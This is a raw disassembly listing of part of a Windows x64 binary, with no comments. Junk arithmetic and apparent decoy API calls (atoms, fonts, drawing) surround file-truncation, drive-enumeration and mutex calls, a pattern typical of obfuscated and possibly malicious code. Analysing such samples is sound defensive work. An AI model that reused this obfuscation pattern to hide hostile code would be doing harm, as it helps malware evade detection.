lea rdx, [rsp + 0x63a4]
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x62e0], eax
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov byte [rsp + 0x415], al
mov rax, qword [rsp + 0xcea8]
mov ecx, dword [0x1401a53b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6300], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e9c], ax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1d90]
and eax, ecx
mov word [rsp + 0x1eac], ax
jmp 0x14001537d
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e84], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
sar eax, cl
mov word [0x1401a53b4], ax
cmp dword [rsp + 0x6388], 0xf5e5
jbe 0x1400159a1
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [rsp + 0xcd38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
shl eax, cl
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [0x1401b440c]
sub eax, ecx
mov word [rsp + 0x1ec4], ax
mov eax, dword [rsp + 0x54ac]
mov dword [rsp + 0x63a0], eax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x6374], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
movsx eax, byte [0x1401b440b]
movsx ecx, byte [rsp + 0x2cd]
add eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [rsp + 0xf9c], ax
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a5038], al
mov eax, dword [rsp + 0x6388]
sub eax, 0x31
mov dword [rsp + 0x6388], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e84]
add eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf30]
mov rcx, qword [rsp + 0xcf10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xcd30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xcea8]
mov ecx, dword [rsp + 0x62cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6360], eax
lea rcx, str.S5aDl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1ebc], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
xor eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
shl eax, cl
mov byte [rsp + 0x416], al
movzx eax, word [0x1401a53a4]
movzx ecx, word [rsp + 0x1d90]
sar eax, cl
mov word [0x1401a53b4], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcd38]
mov rcx, qword [rsp + 0xcf08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea8]
add eax, ecx
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xcd58]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x6300]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62cc], eax
jmp 0x140015692
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0xf9c], ax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x322]
movzx ecx, byte [rsp + 0x417]
sar eax, cl
mov byte [rsp + 0x415], al
mov eax, dword [rsp + 0x633c]
add eax, 3
mov dword [rsp + 0x633c], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x322]
or eax, ecx
mov byte [rsp + 0x416], al
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x630c]
shl eax, cl
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xce70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x6360]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
mov rcx, qword [rsp + 0xcf40]
mov word [rcx], ax
mov edx, 0x6a6966
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62dc], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401b440a]
add eax, ecx
mov byte [0x1401a5038], al
cmp dword [rsp + 0x633c], 0xb5e8
jne 0x1400159a1
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x62d8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140015c95
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x416]
shl eax, cl
mov byte [rsp + 0x413], al
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
mov r9d, 0x4d
lea r8, [fcn.140187a50]
mov rdx, qword [rsp + 0xcf58]
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_EnumFontFamiliesW]
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63a0], eax
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6300]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
add eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
sub eax, ecx
mov byte [rsp + 0x413], al
mov rcx, qword [rsp + 0xcf38]
call qword [sym.imp.GDI32.dll_GetStretchBltMode]
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb4]
and eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
mov ecx, dword [rsp + 0x6360]
call fcn.1401879a0
jmp 0x140186dcb
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcf30]
mov rdx, qword [rsp + 0xcd38]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140186dcb
lea rcx, [rsp + 0x1bc68]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xcf30]
mov qword [rsp + 0xcf60], rax
cmp qword [rsp + 0xcf60], 0
je 0x140015d2b
movabs rax, 0x7a49917331336a
cmp qword [rsp + 0xcf60], rax
je 0x140015d0c
jmp 0x140015d77
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
mov word [rsp + 0xf9c], ax
jmp 0x140015d77
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x63a8], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xcf68], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x63ac], eax
movzx eax, word [rsp + 0x1eac]
mov word [0x1401b4408], ax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov dword [rsp + 0x63b0], eax
cmp dword [rsp + 0x63b0], 0x21ad
je 0x140015dc6
jmp 0x140015deb
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1e94], ax
jmp 0x140015ea2
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
sar eax, cl
mov byte [rsp + 0x1ce], al
movsx eax, byte [0x1401b440b]
movsx ecx, byte [rsp + 0x3ff]
or eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0xcf30]
movzx ecx, al
mov rax, qword [rsp + 0xcf08]
shl rax, cl
mov qword [rsp + 0xaff8], rax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x63a0]
mov dword [rsp + 0x63b4], eax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x62d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
sub eax, ecx
mov byte [rsp + 0x415], al
mov dword [rsp + 0x63b8], 0xf171
mov r9d, 2
lea r8, [rsp + 0xcdb0]
mov rdx, qword [rsp + 0xcdb0]
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b8], eax
lea rcx, [rsp + 0x1da00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x63bc], eax
cmp dword [rsp + 0x632c], 0xf057
jbe 0x1400161b3
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a53a0], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
and eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd70]
mov qword [rsp + 0xcf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcd58], rax
mov eax, dword [rsp + 0x63a0]
movzx ecx, al
mov eax, dword [rsp + 0x63a8]
shl eax, cl
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
xor eax, ecx
mov word [rsp + 0x1ec4], ax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x322]
or eax, ecx
mov byte [0x1401b440a], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf68], rax
movzx ecx, word [rsp + 0x1eb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e90], ax
movsx eax, byte [rsp + 0x3ff]
movsx ecx, byte [rsp + 0x414]
and eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [rsp + 0xf9c], ax
movsx eax, word [rsp + 0x1e84]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ec0], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63b4], eax
mov rax, qword [rsp + 0xcd58]
mov rcx, qword [rsp + 0xce70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd30], rax
mov eax, dword [rsp + 0x6374]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
movzx ecx, word [rsp + 0x1e9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1eb8], ax
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x417], al
mov eax, dword [rsp + 0x632c]
sub eax, 0xd1
mov dword [rsp + 0x632c], eax
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
jmp 0x140015eed
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x418], al
lea rax, [rsp + 0xaff8]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf68]
sar rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x63c0], eax
mov r9d, 1
lea r8, [rsp + 0xcf80]
mov rdx, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62dc], eax
lea rax, [rsp + 0x51b8]
mov qword [rsp + 0xcf88], rax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcf90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd58], rax
lea rcx, [rsp + 0x1d6a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb4]
xor eax, ecx
mov word [rsp + 0x1ea8], ax
mov eax, dword [rsp + 0x63c0]
mov dword [rsp + 0x63c4], eax
cmp dword [rsp + 0x63c4], 0
je 0x1400162c5
jmp 0x140186d30
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
lea rdx, [rsp + 0xcf80]
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x63bc], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x630c]
mov ecx, dword [0x1401a5390]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xcf40]
movzx eax, word [rax]
mov word [rsp + 0x1ec8], ax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x322]
sub eax, ecx
mov byte [0x1401a5039], al
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [rsp + 0xcf68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x63cc], eax
cmp dword [rsp + 0x63cc], 0
je 0x1400163ac
jmp 0x14001648c
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov byte [rsp + 0x418], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0x1b38], ax
movsx eax, word [0x1401a53a0]
movsx ecx, word [rsp + 0x1eb4]
sub eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
lea rax, [rsp + 0x6300]
mov qword [rsp + 0xcf98], rax
mov edx, 0x9e2ef
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x63d0], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x63a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd30]
movzx ecx, al
mov rax, qword [rsp + 0xb2f8]
shr rax, cl
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xce28]
movzx eax, byte [rax]
mov byte [rsp + 0x419], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcfa0], rax
jmp 0x1400164de
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b38]
or eax, ecx
mov word [rsp + 0xf9c], ax
movzx eax, byte [rsp + 0x417]
movzx ecx, byte [rsp + 0x418]
shl eax, cl
mov byte [0x1401a5039], al
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea4]
and eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [0x1401a53a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff8], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x63a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x62c8], eax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51dc], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e94], ax
lea rdx, [rsp + 0x6330]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6324], eax
movzx eax, word [rsp + 0x1b38]
mov dword [rsp + 0x63d4], eax
cmp dword [rsp + 0x63d4], 0x2cd
je 0x1400165ba
jmp 0x140016616
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [0x1401b4408]
add eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov r8d, 0x74
lea rdx, [rsp + 0xce48]
mov rcx, qword [rsp + 0xcfb0]
call qword [sym.imp.GDI32.dll_PolylineTo]
mov dword [rsp + 0x6308], eax
movzx eax, byte [rsp + 0x413]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a5038], al
jmp 0x140016664
lea rdx, [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x6370], eax
mov rax, qword [rsp + 0xcfa8]
mov qword [rsp + 0xcfb8], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ea0], ax
mov eax, dword [rsp + 0x62d8]
movzx ecx, al
mov eax, dword [rsp + 0x51b8]
shl eax, cl
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xce70]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [0x1401b440b]
xor eax, ecx
mov byte [rsp + 0x14f], al
mov eax, dword [rsp + 0x62fc]
add eax, 0x54
mov dword [rsp + 0x62fc], eax
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x62dc], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x416], al
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a5038]
sub eax, ecx
mov byte [rsp + 0x322], al
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf9c], ax
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6374], eax
cmp dword [rsp + 0x62fc], 0x1240
jb 0x140016664
lea rax, [rsp + 0x63a0]
mov qword [rsp + 0xcfc0], rax
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xce70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d90]
mov word [rsp + 0x1ecc], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
sub eax, ecx
mov byte [rsp + 0x1ce], al
cmp dword [rsp + 0x6380], 0xee94
je 0x140016d79
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf30]
sar rax, cl
mov rcx, qword [rsp + 0xcf78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf10], rax
movsx eax, word [rsp + 0x1eb0]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
and eax, ecx
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0xcd98]
mov rcx, qword [rsp + 0xcfc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63b4], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x630c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x63d8], eax
movzx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x322], al
movzx eax, word [rsp + 0x1b38]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf9c], ax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [rsp + 0x1ea8], ax
movzx eax, byte [0x1401b440a]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x418], al
mov eax, dword [rsp + 0x63b4]
mov ecx, dword [rsp + 0x63c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcd58]
shr rax, cl
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf88]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
